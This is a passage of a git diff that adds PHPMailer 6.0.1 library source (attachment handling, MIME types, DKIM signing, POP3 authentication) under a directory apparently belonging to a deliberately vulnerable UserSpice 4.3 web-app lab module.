MIME type + * @param string $disposition Disposition to use + * + * @return bool True on successfully adding an attachment + */ + public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') + { + if (!@is_file($path)) { + $this->setError($this->lang('file_access') . $path); + + return false; + } + + // If a MIME type is not specified, try to work it out from the file name + if ('' == $type) { + $type = static::filenameToType($path); + } + + $filename = basename($path); + if ('' == $name) { + $name = $filename; + } + + // Append to $attachment array + $this->attachment[] = [ + 0 => $path, + 1 => $filename, + 2 => $name, + 3 => $encoding, + 4 => $type, + 5 => false, // isStringAttachment + 6 => $disposition, + 7 => $cid, + ]; + + return true; + } + + /** + * Add an embedded stringified attachment. + * This can include images, sounds, and just about any other document type. + * Be sure to set the $type to an image type for images: + * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'. + * + * @param string $string The attachment binary data + * @param string $cid Content ID of the attachment; Use this to reference + * the content when using an embedded image in HTML + * @param string $name + * @param string $encoding File encoding (see $Encoding) + * @param string $type MIME type + * @param string $disposition Disposition to use + * + * @return bool True on successfully adding an attachment + */ + public function addStringEmbeddedImage( + $string, + $cid, + $name = '', + $encoding = 'base64', + $type = '', + $disposition = 'inline' + ) { + // If a MIME type is not specified, try to work it out from the name + if ('' == $type and !empty($name)) { + $type = static::filenameToType($name); + } + + // Append to $attachment array + $this->attachment[] = [ + 0 => $string, + 1 => $name, + 2 => $name, + 3 => $encoding, + 4 => $type, + 5 => true, // isStringAttachment + 6 => $disposition, + 7 => $cid, + ]; + + return true; + } + + /** + * Check if an embedded attachment is present with this cid. + * + * @param string $cid + * + * @return bool + */ + protected function cidExists($cid) + { + foreach ($this->attachment as $attachment) { + if ('inline' == $attachment[6] and $cid == $attachment[7]) { + return true; + } + } + + return false; + } + + /** + * Check if an inline attachment is present. + * + * @return bool + */ + public function inlineImageExists() + { + foreach ($this->attachment as $attachment) { + if ($attachment[6] == 'inline') { + return true; + } + } + + return false; + } + + /** + * Check if an attachment (non-inline) is present. + * + * @return bool + */ + public function attachmentExists() + { + foreach ($this->attachment as $attachment) { + if ($attachment[6] == 'attachment') { + return true; + } + } + + return false; + } + + /** + * Check if this message has an alternative body set. + * + * @return bool + */ + public function alternativeExists() + { + return !empty($this->AltBody); + } + + /** + * Clear queued addresses of given kind. + * + * @param string $kind 'to', 'cc', or 'bcc' + */ + public function clearQueuedAddresses($kind) + { + $this->RecipientsQueue = array_filter( + $this->RecipientsQueue, + function ($params) use ($kind) { + return $params[0] != $kind; + } + ); + } + + /** + * Clear all To recipients. + */ + public function clearAddresses() + { + foreach ($this->to as $to) { + unset($this->all_recipients[strtolower($to[0])]); + } + $this->to = []; + $this->clearQueuedAddresses('to'); + } + + /** + * Clear all CC recipients. + */ + public function clearCCs() + { + foreach ($this->cc as $cc) { + unset($this->all_recipients[strtolower($cc[0])]); + } + $this->cc = []; + $this->clearQueuedAddresses('cc'); + } + + /** + * Clear all BCC recipients. + */ + public function clearBCCs() + { + foreach ($this->bcc as $bcc) { + unset($this->all_recipients[strtolower($bcc[0])]); + } + $this->bcc = []; + $this->clearQueuedAddresses('bcc'); + } + + /** + * Clear all ReplyTo recipients. + */ + public function clearReplyTos() + { + $this->ReplyTo = []; + $this->ReplyToQueue = []; + } + + /** + * Clear all recipient types. + */ + public function clearAllRecipients() + { + $this->to = []; + $this->cc = []; + $this->bcc = []; + $this->all_recipients = []; + $this->RecipientsQueue = []; + } + + /** + * Clear all filesystem, string, and binary attachments. + */ + public function clearAttachments() + { + $this->attachment = []; + } + + /** + * Clear all custom headers. + */ + public function clearCustomHeaders() + { + $this->CustomHeader = []; + } + + /** + * Add an error message to the error container. + * + * @param string $msg + */ + protected function setError($msg) + { + ++$this->error_count; + if ('smtp' == $this->Mailer and null !== $this->smtp) { + $lasterror = $this->smtp->getError(); + if (!empty($lasterror['error'])) { + $msg .= $this->lang('smtp_error') . $lasterror['error']; + if (!empty($lasterror['detail'])) { + $msg .= ' Detail: ' . $lasterror['detail']; + } + if (!empty($lasterror['smtp_code'])) { + $msg .= ' SMTP code: ' . $lasterror['smtp_code']; + } + if (!empty($lasterror['smtp_code_ex'])) { + $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex']; + } + } + } + $this->ErrorInfo = $msg; + } + + /** + * Return an RFC 822 formatted date. + * + * @return string + */ + public static function rfcDate() + { + // Set the time zone to whatever the default is to avoid 500 errors + // Will default to UTC if it's not set properly in php.ini + date_default_timezone_set(@date_default_timezone_get()); + + return date('D, j M Y H:i:s O'); + } + + /** + * Get the server hostname. + * Returns 'localhost.localdomain' if unknown. + * + * @return string + */ + protected function serverHostname() + { + $result = ''; + if (!empty($this->Hostname)) { + $result = $this->Hostname; + } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER)) { + $result = $_SERVER['SERVER_NAME']; + } elseif (function_exists('gethostname') and gethostname() !== false) { + $result = gethostname(); + } elseif (php_uname('n') !== false) { + $result = php_uname('n'); + } + if (!static::isValidHost($result)) { + return 'localhost.localdomain'; + } + + return $result; + } + + /** + * Validate whether a string contains a valid value to use as a hostname or IP address. + * IPv6 addresses must include [], e.g. `[::1]`, not just `::1`. + * + * @param string $host The host name or IP address to check + * + * @return bool + */ + public static function isValidHost($host) + { + //Simple syntax limits + if (empty($host) + or !is_string($host) + or strlen($host) > 256 + ) { + return false; + } + //Looks like a bracketed IPv6 address + if (trim($host, '[]') != $host) { + return (bool) filter_var(trim($host, '[]'), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6); + } + //If removing all the dots results in a numeric string, it must be an IPv4 address. + //Need to check this first because otherwise things like `999.0.0.0` are considered valid host names + if (is_numeric(str_replace('.', '', $host))) { + //Is it a valid IPv4 address? + return (bool) filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4); + } + if (filter_var('http://' . $host, FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)) { + //Is it a syntactically valid hostname? + return true; + } + + return false; + } + + /** + * Get an error message in the current language. + * + * @param string $key + * + * @return string + */ + protected function lang($key) + { + if (count($this->language) < 1) { + $this->setLanguage('en'); // set the default language + } + + if (array_key_exists($key, $this->language)) { + if ('smtp_connect_failed' == $key) { + //Include a link to troubleshooting docs on SMTP connection failure + //this is by far the biggest cause of support questions + //but it's usually not PHPMailer's fault. + return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; + } + + return $this->language[$key]; + } + + //Return the key as a fallback + return $key; + } + + /** + * Check if an error occurred. + * + * @return bool True if an error did occur + */ + public function isError() + { + return $this->error_count > 0; + } + + /** + * Add a custom header. + * $name value can be overloaded to contain + * both header name and value (name:value). + * + * @param string $name Custom header name + * @param string|null $value Header value + */ + public function addCustomHeader($name, $value = null) + { + if (null === $value) { + // Value passed in as name:value + $this->CustomHeader[] = explode(':', $name, 2); + } else { + $this->CustomHeader[] = [$name, $value]; + } + } + + /** + * Returns all custom headers. + * + * @return array + */ + public function getCustomHeaders() + { + return $this->CustomHeader; + } + + /** + * Create a message body from an HTML string. + * Automatically inlines images and creates a plain-text version by converting the HTML, + * overwriting any existing values in Body and AltBody. + * Do not source $message content from user input! + * $basedir is prepended when handling relative URLs, e.g. and must not be empty + * will look for an image file in $basedir/images/a.png and convert it to inline. + * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email) + * Converts data-uri images into embedded attachments. + * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly. + * + * @param string $message HTML message string + * @param string $basedir Absolute path to a base directory to prepend to relative paths to images + * @param bool|callable $advanced Whether to use the internal HTML to text converter + * or your own custom converter @see PHPMailer::html2text() + * + * @return string $message The transformed message Body + */ + public function msgHTML($message, $basedir = '', $advanced = false) + { + preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images); + if (array_key_exists(2, $images)) { + if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { + // Ensure $basedir has a trailing / + $basedir .= '/'; + } + foreach ($images[2] as $imgindex => $url) { + // Convert data URIs into embedded images + //e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" + if (preg_match('#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#', $url, $match)) { + if (count($match) == 4 and 'base64' == $match[2]) { + $data = base64_decode($match[3]); + } elseif ('' == $match[2]) { + $data = rawurldecode($match[3]); + } else { + //Not recognised so leave it alone + continue; + } + //Hash the decoded data, not the URL so that the same data-URI image used in multiple places + //will only be embedded once, even if it used a different encoding + $cid = hash('sha256', $data) . '@phpmailer.0'; // RFC2392 S 2 + + if (!$this->cidExists($cid)) { + $this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1]); + } + $message = str_replace( + $images[0][$imgindex], + $images[1][$imgindex] . '="cid:' . $cid . '"', + $message + ); + continue; + } + if (// Only process relative URLs if a basedir is provided (i.e. no absolute local paths) + !empty($basedir) + // Ignore URLs containing parent dir traversal (..) + and (strpos($url, '..') === false) + // Do not change urls that are already inline images + and substr($url, 0, 4) !== 'cid:' + // Do not change absolute URLs, including anonymous protocol + and !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url) + ) { + $filename = basename($url); + $directory = dirname($url); + if ('.' == $directory) { + $directory = ''; + } + $cid = hash('sha256', $url) . '@phpmailer.0'; // RFC2392 S 2 + if (strlen($basedir) > 1 and substr($basedir, -1) != '/') { + $basedir .= '/'; + } + if (strlen($directory) > 1 and substr($directory, -1) != '/') { + $directory .= '/'; + } + if ($this->addEmbeddedImage( + $basedir . $directory . $filename, + $cid, + $filename, + 'base64', + static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION)) + ) + ) { + $message = preg_replace( + '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', + $images[1][$imgindex] . '="cid:' . $cid . '"', + $message + ); + } + } + } + } + $this->isHTML(true); + // Convert all message body line breaks to LE, makes quoted-printable encoding work much better + $this->Body = static::normalizeBreaks($message); + $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced)); + if (!$this->alternativeExists()) { + $this->AltBody = 'This is an HTML-only message. To view it, activate HTML in your email application.' + . static::$LE; + } + + return $this->Body; + } + + /** + * Convert an HTML string into plain text. + * This is used by msgHTML(). + * Note - older versions of this function used a bundled advanced converter + * which was removed for license reasons in #232. + * Example usage: + * + * ```php + * // Use default conversion + * $plain = $mail->html2text($html); + * // Use your own custom converter + * $plain = $mail->html2text($html, function($html) { + * $converter = new MyHtml2text($html); + * return $converter->get_text(); + * }); + * ``` + * + * @param string $html The HTML text to convert + * @param bool|callable $advanced Any boolean value to use the internal converter, + * or provide your own callable for custom conversion + * + * @return string + */ + public function html2text($html, $advanced = false) + { + if (is_callable($advanced)) { + return call_user_func($advanced, $html); + } + + return html_entity_decode( + trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), + ENT_QUOTES, + $this->CharSet + ); + } + + /** + * Get the MIME type for a file extension. + * + * @param string $ext File extension + * + * @return string MIME type of file + */ + public static function _mime_types($ext = '') + { + $mimes = [ + 'xl' => 'application/excel', + 'js' => 'application/javascript', + 'hqx' => 'application/mac-binhex40', + 'cpt' => 'application/mac-compactpro', + 'bin' => 'application/macbinary', + 'doc' => 'application/msword', + 'word' => 'application/msword', + 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', + 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', + 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', + 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', + 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', + 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', + 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', + 'class' => 'application/octet-stream', + 'dll' => 'application/octet-stream', + 'dms' => 'application/octet-stream', + 'exe' => 'application/octet-stream', + 'lha' => 'application/octet-stream', + 'lzh' => 'application/octet-stream', + 'psd' => 'application/octet-stream', + 'sea' => 'application/octet-stream', + 'so' => 'application/octet-stream', + 'oda' => 'application/oda', + 'pdf' => 'application/pdf', + 'ai' => 'application/postscript', + 'eps' => 'application/postscript', + 'ps' => 'application/postscript', + 'smi' => 'application/smil', + 'smil' => 'application/smil', + 'mif' => 'application/vnd.mif', + 'xls' => 'application/vnd.ms-excel', + 'ppt' => 'application/vnd.ms-powerpoint', + 'wbxml' => 'application/vnd.wap.wbxml', + 'wmlc' => 'application/vnd.wap.wmlc', + 'dcr' => 'application/x-director', + 'dir' => 'application/x-director', + 'dxr' => 'application/x-director', + 'dvi' => 'application/x-dvi', + 'gtar' => 'application/x-gtar', + 'php3' => 'application/x-httpd-php', + 'php4' => 'application/x-httpd-php', + 'php' => 'application/x-httpd-php', + 'phtml' => 'application/x-httpd-php', + 'phps' => 'application/x-httpd-php-source', + 'swf' => 'application/x-shockwave-flash', + 'sit' => 'application/x-stuffit', + 'tar' => 'application/x-tar', + 'tgz' => 'application/x-tar', + 'xht' => 'application/xhtml+xml', + 'xhtml' => 'application/xhtml+xml', + 'zip' => 'application/zip', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'mp2' => 'audio/mpeg', + 'mp3' => 'audio/mpeg', + 'mpga' => 'audio/mpeg', + 'aif' => 'audio/x-aiff', + 'aifc' => 'audio/x-aiff', + 'aiff' => 'audio/x-aiff', + 'ram' => 'audio/x-pn-realaudio', + 'rm' => 'audio/x-pn-realaudio', + 'rpm' => 'audio/x-pn-realaudio-plugin', + 'ra' => 'audio/x-realaudio', + 'wav' => 'audio/x-wav', + 'bmp' => 'image/bmp', + 'gif' => 'image/gif', + 'jpeg' => 'image/jpeg', + 'jpe' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'png' => 'image/png', + 'tiff' => 'image/tiff', + 'tif' => 'image/tiff', + 'eml' => 'message/rfc822', + 'css' => 'text/css', + 'html' => 'text/html', + 'htm' => 'text/html', + 'shtml' => 'text/html', + 'log' => 'text/plain', + 'text' => 'text/plain', + 'txt' => 'text/plain', + 'rtx' => 'text/richtext', + 'rtf' => 'text/rtf', + 'vcf' => 'text/vcard', + 'vcard' => 'text/vcard', + 'ics' => 'text/calendar', + 'xml' => 'text/xml', + 'xsl' => 'text/xml', + 'mpeg' => 'video/mpeg', + 'mpe' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mov' => 'video/quicktime', + 'qt' => 'video/quicktime', + 'rv' => 'video/vnd.rn-realvideo', + 'avi' => 'video/x-msvideo', + 'movie' => 'video/x-sgi-movie', + ]; + if (array_key_exists(strtolower($ext), $mimes)) { + return $mimes[strtolower($ext)]; + } + + return 'application/octet-stream'; + } + + /** + * Map a file name to a MIME type. + * Defaults to 'application/octet-stream', i.e.. arbitrary binary data. + * + * @param string $filename A file name or full path, does not need to exist as a file + * + * @return string + */ + public static function filenameToType($filename) + { + // In case the path is a URL, strip any query string before getting extension + $qpos = strpos($filename, '?'); + if (false !== $qpos) { + $filename = substr($filename, 0, $qpos); + } + $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION); + + return static::_mime_types($ext); + } + + /** + * Multi-byte-safe pathinfo replacement. + * Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe. + * + * @see http://www.php.net/manual/en/function.pathinfo.php#107461 + * + * @param string $path A filename or path, does not need to exist as a file + * @param int|string $options Either a PATHINFO_* constant, + * or a string name to return only the specified piece + * + * @return string|array + */ + public static function mb_pathinfo($path, $options = null) + { + $ret = ['dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '']; + $pathinfo = []; + if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$#im', $path, $pathinfo)) { + if (array_key_exists(1, $pathinfo)) { + $ret['dirname'] = $pathinfo[1]; + } + if (array_key_exists(2, $pathinfo)) { + $ret['basename'] = $pathinfo[2]; + } + if (array_key_exists(5, $pathinfo)) { + $ret['extension'] = $pathinfo[5]; + } + if (array_key_exists(3, $pathinfo)) { + $ret['filename'] = $pathinfo[3]; + } + } + switch ($options) { + case PATHINFO_DIRNAME: + case 'dirname': + return $ret['dirname']; + case PATHINFO_BASENAME: + case 'basename': + return $ret['basename']; + case PATHINFO_EXTENSION: + case 'extension': + return $ret['extension']; + case PATHINFO_FILENAME: + case 'filename': + return $ret['filename']; + default: + return $ret; + } + } + + /** + * Set or reset instance properties. + * You should avoid this function - it's more verbose, less efficient, more error-prone and + * harder to debug than setting properties directly. + * Usage Example: + * `$mail->set('SMTPSecure', 'tls');` + * is the same as: + * `$mail->SMTPSecure = 'tls';`. + * + * @param string $name The property name to set + * @param mixed $value The value to set the property to + * + * @return bool + */ + public function set($name, $value = '') + { + if (property_exists($this, $name)) { + $this->$name = $value; + + return true; + } + $this->setError($this->lang('variable_set') . $name); + + return false; + } + + /** + * Strip newlines to prevent header injection. + * + * @param string $str + * + * @return string + */ + public function secureHeader($str) + { + return trim(str_replace(["\r", "\n"], '', $str)); + } + + /** + * Normalize line breaks in a string. + * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format. + * Defaults to CRLF (for message bodies) and preserves consecutive breaks. + * + * @param string $text + * @param string $breaktype What kind of line break to use; defaults to static::$LE + * + * @return string + */ + public static function normalizeBreaks($text, $breaktype = null) + { + if (null === $breaktype) { + $breaktype = static::$LE; + } + // Normalise to \n + $text = str_replace(["\r\n", "\r"], "\n", $text); + // Now convert LE as needed + if ("\n" !== static::$LE) { + $text = str_replace("\n", $breaktype, $text); + } + + return $text; + } + + /** + * Return the current line break format string. + * + * @return string + */ + public static function getLE() + { + return static::$LE; + } + + /** + * Set the line break format string, e.g. "\r\n". + * + * @param string $le + */ + protected static function setLE($le) + { + static::$LE = $le; + } + + /** + * Set the public and private key files and password for S/MIME signing. + * + * @param string $cert_filename + * @param string $key_filename + * @param string $key_pass Password for private key + * @param string $extracerts_filename Optional path to chain certificate + */ + public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') + { + $this->sign_cert_file = $cert_filename; + $this->sign_key_file = $key_filename; + $this->sign_key_pass = $key_pass; + $this->sign_extracerts_file = $extracerts_filename; + } + + /** + * Quoted-Printable-encode a DKIM header. + * + * @param string $txt + * + * @return string + */ + public function DKIM_QP($txt) + { + $line = ''; + $len = strlen($txt); + for ($i = 0; $i < $len; ++$i) { + $ord = ord($txt[$i]); + if (((0x21 <= $ord) and ($ord <= 0x3A)) or $ord == 0x3C or ((0x3E <= $ord) and ($ord <= 0x7E))) { + $line .= $txt[$i]; + } else { + $line .= '=' . sprintf('%02X', $ord); + } + } + + return $line; + } + + /** + * Generate a DKIM signature. + * + * @param string $signHeader + * + * @throws Exception + * + * @return string The DKIM signature value + */ + public function DKIM_Sign($signHeader) + { + if (!defined('PKCS7_TEXT')) { + if ($this->exceptions) { + throw new Exception($this->lang('extension_missing') . 'openssl'); + } + + return ''; + } + $privKeyStr = !empty($this->DKIM_private_string) ? + $this->DKIM_private_string : + file_get_contents($this->DKIM_private); + if ('' != $this->DKIM_passphrase) { + $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); + } else { + $privKey = openssl_pkey_get_private($privKeyStr); + } + if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { + openssl_pkey_free($privKey); + + return base64_encode($signature); + } + openssl_pkey_free($privKey); + + return ''; + } + + /** + * Generate a DKIM canonicalization header. + * Uses the 'relaxed' algorithm from RFC6376 section 3.4.2. + * + * @see https://tools.ietf.org/html/rfc6376#section-3.4.2 + * + * @param string $signHeader Header + * + * @return string + */ + public function DKIM_HeaderC($signHeader) + { + //Unfold all header continuation lines + //Also collapses folded whitespace. + //Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]` + //@see https://tools.ietf.org/html/rfc5322#section-2.2 + //That means this may break if you do something daft like put vertical tabs in your headers. + $signHeader = preg_replace('/\r\n[ \t]+/', ' ', $signHeader); + $lines = explode("\r\n", $signHeader); + foreach ($lines as $key => $line) { + //If the header is missing a :, skip it as it's invalid + //This is likely to happen because the explode() above will also split + //on the trailing LE, leaving an empty line + if (strpos($line, ':') === false) { + continue; + } + list($heading, $value) = explode(':', $line, 2); + //Lower-case header name + $heading = strtolower($heading); + //Collapse white space within the value + $value = preg_replace('/[ \t]{2,}/', ' ', $value); + //RFC6376 is slightly unclear here - it says to delete space at the *end* of each value + //But then says to delete space before and after the colon. + //Net result is the same as trimming both ends of the value. + //by elimination, the same applies to the field name + $lines[$key] = trim($heading, " \t") . ':' . trim($value, " \t"); + } + + return implode(static::$LE, $lines); + } + + /** + * Generate a DKIM canonicalization body. + * Uses the 'simple' algorithm from RFC6376 section 3.4.3. + * + * @see https://tools.ietf.org/html/rfc6376#section-3.4.3 + * + * @param string $body Message Body + * + * @return string + */ + public function DKIM_BodyC($body) + { + if (empty($body)) { + return static::$LE; + } + // Normalize line endings + $body = static::normalizeBreaks($body); + + //Reduce multiple trailing line breaks to a single one + return rtrim($body, "\r\n") . static::$LE; + } + + /** + * Create the DKIM header and body in a new message header. + * + * @param string $headers_line Header lines + * @param string $subject Subject + * @param string $body Body + * + * @return string + */ + public function DKIM_Add($headers_line, $subject, $body) + { + $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms + $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body + $DKIMquery = 'dns/txt'; // Query method + $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) + $subject_header = "Subject: $subject"; + $headers = explode(static::$LE, $headers_line); + $from_header = ''; + $to_header = ''; + $date_header = ''; + $current = ''; + foreach ($headers as $header) { + if (strpos($header, 'From:') === 0) { + $from_header = $header; + $current = 'from_header'; + } elseif (strpos($header, 'To:') === 0) { + $to_header = $header; + $current = 'to_header'; + } elseif (strpos($header, 'Date:') === 0) { + $date_header = $header; + $current = 'date_header'; + } else { + if (!empty($$current) and strpos($header, ' =?') === 0) { + $$current .= $header; + } else { + $current = ''; + } + } + } + $from = str_replace('|', '=7C', $this->DKIM_QP($from_header)); + $to = str_replace('|', '=7C', $this->DKIM_QP($to_header)); + $date = str_replace('|', '=7C', $this->DKIM_QP($date_header)); + $subject = str_replace( + '|', + '=7C', + $this->DKIM_QP($subject_header) + ); // Copied header fields (dkim-quoted-printable) + $body = $this->DKIM_BodyC($body); + $DKIMlen = strlen($body); // Length of body + $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body + if ('' == $this->DKIM_identity) { + $ident = ''; + } else { + $ident = ' i=' . $this->DKIM_identity . ';'; + } + $dkimhdrs = 'DKIM-Signature: v=1; a=' . + $DKIMsignatureType . '; q=' . + $DKIMquery . '; l=' . + $DKIMlen . '; s=' . + $this->DKIM_selector . + ";\r\n" . + "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" . + "\th=From:To:Date:Subject;\r\n" . + "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . + "\tz=$from\r\n" . + "\t|$to\r\n" . + "\t|$date\r\n" . + "\t|$subject;\r\n" . + "\tbh=" . $DKIMb64 . ";\r\n" . + "\tb="; + $toSign = $this->DKIM_HeaderC( + $from_header . "\r\n" . + $to_header . "\r\n" . + $date_header . "\r\n" . + $subject_header . "\r\n" . + $dkimhdrs + ); + $signed = $this->DKIM_Sign($toSign); + + return static::normalizeBreaks($dkimhdrs . $signed) . static::$LE; + } + + /** + * Detect if a string contains a line longer than the maximum line length + * allowed by RFC 2822 section 2.1.1. + * + * @param string $str + * + * @return bool + */ + public static function hasLineLongerThanMax($str) + { + return (bool) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ',})/m', $str); + } + + /** + * Allows for public read access to 'to' property. + * Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * + * @return array + */ + public function getToAddresses() + { + return $this->to; + } + + /** + * Allows for public read access to 'cc' property. + * Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * + * @return array + */ + public function getCcAddresses() + { + return $this->cc; + } + + /** + * Allows for public read access to 'bcc' property. + * Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * + * @return array + */ + public function getBccAddresses() + { + return $this->bcc; + } + + /** + * Allows for public read access to 'ReplyTo' property. + * Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * + * @return array + */ + public function getReplyToAddresses() + { + return $this->ReplyTo; + } + + /** + * Allows for public read access to 'all_recipients' property. + * Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * + * @return array + */ + public function getAllRecipientAddresses() + { + return $this->all_recipients; + } + + /** + * Perform a callback. + * + * @param bool $isSent + * @param array $to + * @param array $cc + * @param array $bcc + * @param string $subject + * @param string $body + * @param string $from + * @param array $extra + */ + protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra) + { + if (!empty($this->action_function) and is_callable($this->action_function)) { + call_user_func_array($this->action_function, [$isSent, $to, $cc, $bcc, $subject, $body, $from, $extra]); + } + } + + /** + * Get the OAuth instance. + * + * @return OAuth + */ + public function getOAuth() + { + return $this->oauth; + } + + /** + * Set an OAuth instance. + * + * @param OAuth $oauth + */ + public function setOAuth(OAuth $oauth) + { + $this->oauth = $oauth; + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/PHPMailerAutoload.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/PHPMailerAutoload.php new file mode 100644 index 000000000..b3d9bbc7f --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/PHPMailerAutoload.php @@ -0,0 +1 @@ + + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + * @copyright 2012 - 2017 Marcus Bointon + * @copyright 2010 - 2012 Jim Jagielski + * @copyright 2004 - 2009 Andy Prevost + * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License + * @note This program is distributed in the hope that it will be useful - WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. + */ + +namespace PHPMailer\PHPMailer; + +/** + * PHPMailer POP-Before-SMTP Authentication Class. + * Specifically for PHPMailer to use for RFC1939 POP-before-SMTP authentication. + * 1) This class does not support APOP authentication. + * 2) Opening and closing lots of POP3 connections can be quite slow. If you need + * to send a batch of emails then just perform the authentication once at the start, + * and then loop through your mail sending script. Providing this process doesn't + * take longer than the verification period lasts on your POP3 server, you should be fine. + * 3) This is really ancient technology; you should only need to use it to talk to very old systems. + * 4) This POP3 class is deliberately lightweight and incomplete, and implements just + * enough to do authentication. + * If you want a more complete class there are other POP3 classes for PHP available. + * + * @author Richard Davey (original author) + * @author Marcus Bointon (Synchro/coolbru) + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + */ +class POP3 +{ + /** + * The POP3 PHPMailer Version number. + * + * @var string + */ + const VERSION = '6.0.1'; + + /** + * Default POP3 port number. + * + * @var int + */ + const DEFAULT_PORT = 110; + + /** + * Default timeout in seconds. + * + * @var int + */ + const DEFAULT_TIMEOUT = 30; + + /** + * Debug display level. + * Options: 0 = no, 1+ = yes. + * + * @var int + */ + public $do_debug = 0; + + /** + * POP3 mail server hostname. + * + * @var string + */ + public $host; + + /** + * POP3 port number. + * + * @var int + */ + public $port; + + /** + * POP3 Timeout Value in seconds. + * + * @var int + */ + public $tval; + + /** + * POP3 username. + * + * @var string + */ + public $username; + + /** + * POP3 password. + * + * @var string + */ + public $password; + + /** + * Resource handle for the POP3 connection socket. + * + * @var resource + */ + protected $pop_conn; + + /** + * Are we connected? + * + * @var bool + */ + protected $connected = false; + + /** + * Error container. + * + * @var array + */ + protected $errors = []; + + /** + * Line break constant. + */ + const LE = "\r\n"; + + /** + * Simple static wrapper for all-in-one POP before SMTP. + * + * @param string $host The hostname to connect to + * @param int|bool $port The port number to connect to + * @param int|bool $timeout The timeout value + * @param string $username + * @param string $password + * @param int $debug_level + * + * @return bool + */ + public static function popBeforeSmtp( + $host, + $port = false, + $timeout = false, + $username = '', + $password = '', + $debug_level = 0 + ) { + $pop = new self(); + + return $pop->authorise($host, $port, $timeout, $username, $password, $debug_level); + } + + /** + * Authenticate with a POP3 server. + * A connect, login, disconnect sequence + * appropriate for POP-before SMTP authorisation. + * + * @param string $host The hostname to connect to + * @param int|bool $port The port number to connect to + * @param int|bool $timeout The timeout value + * @param string $username + * @param string $password + * @param int $debug_level + * + * @return bool + */ + public function authorise($host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0) + { + $this->host = $host; + // If no port value provided, use default + if (false === $port) { + $this->port = static::DEFAULT_PORT; + } else { + $this->port = (int) $port; + } + // If no timeout value provided, use default + if (false === $timeout) { + $this->tval = static::DEFAULT_TIMEOUT; + } else { + $this->tval = (int) $timeout; + } + $this->do_debug = $debug_level; + $this->username = $username; + $this->password = $password; + // Reset the error log + $this->errors = []; + // connect + $result = $this->connect($this->host, $this->port, $this->tval); + if ($result) { + $login_result = $this->login($this->username, $this->password); + if ($login_result) { + $this->disconnect(); + + return true; + } + } + // We need to disconnect regardless of whether the login succeeded + $this->disconnect(); + + return false; + } + + /** + * Connect to a POP3 server. + * + * @param string $host + * @param int|bool $port + * @param int $tval + * + * @return bool + */ + public 